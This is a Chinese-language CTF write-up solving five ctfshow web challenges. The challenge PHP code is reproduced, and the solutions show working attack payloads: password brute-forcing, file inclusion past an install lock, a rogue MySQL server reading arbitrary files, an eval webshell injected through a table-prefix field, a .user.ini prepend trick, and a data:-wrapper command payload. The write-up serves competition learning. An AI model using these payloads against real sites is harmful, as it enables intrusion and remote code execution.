哈哈哈哈哈,这是我第一次进前三十的比赛,复现一下
web1
打开是个这个,
查看源代码
打开是个gitHub的弱口令密码库
用bp,抓包爆破即可
登陆即可查看flag
web2
这是一道代码审计,我就不截图了
index.php存在⼀个任意的php⽂件包含:
$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;
include('files/'.$want.".php");
然后存在一个安装文件
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
echo "欢迎安装ctfshowcms~"."<br>";
$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );
if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}
$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";
file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";
$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";
思路是包含这个安装文件,绕过开头的安装锁
然后使用自己的mysql,连接他,然后进行文件读取
离谱的是我忘了我mysql的账号和密码…
存在⼀个数据库任意连接得问题,可以构造⼀个恶意的mysql客户端来读取任意⽂件。参考⽂章
然后就是下载脚本 脚本地址
脚本结尾改成自己要读取的文件
然后端口就是3307别管,好像是用来读取的
先运行脚本,在连接数据库
然后payload如图,输入端口也是3307,反正不能是3306
flag就接收到了
web3
打开是一个cms的安装就一直安装就完事了
然后就参考这篇文章吧参考
数据表前缀修改x’);@eval($_POST[cmd])😭’
相当于上传webshell,再拿蚁剑连即可
我就截个图,怕以后想不起来
web4
error_reporting(0);
class fileUtil{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}
public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
private function waf($input){
return !preg_match('/php/i', $input);
}
public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}
这是一个文件上传、
这里有个switch弱比较
让a=0就行
上传一个名为.user.ini
内容为auto_prepend_file=a.png
然后在上传个a.png 的一句话
然后用蚁剑连就行
文件地址在这,然后连就行
http://8c90e2ea-fe4a-48cc-9294-4fd428f456d6.challenge.ctf.show:8080/var/www/upload
web5
题目是这样的
题目设置了open_basedir,所以我们写文件和include都只能限制在该目录下。文件名和内容都有长度限制。
但是我们发现只要post传一个ctfshow就可以使用include函数,那我们试试可不可以使用data伪协议呢。
因为有长度限制我们可以这样写
file_name=data:,<?=`ls`;
要用url编码,
然后吧ls换成nl * 就行了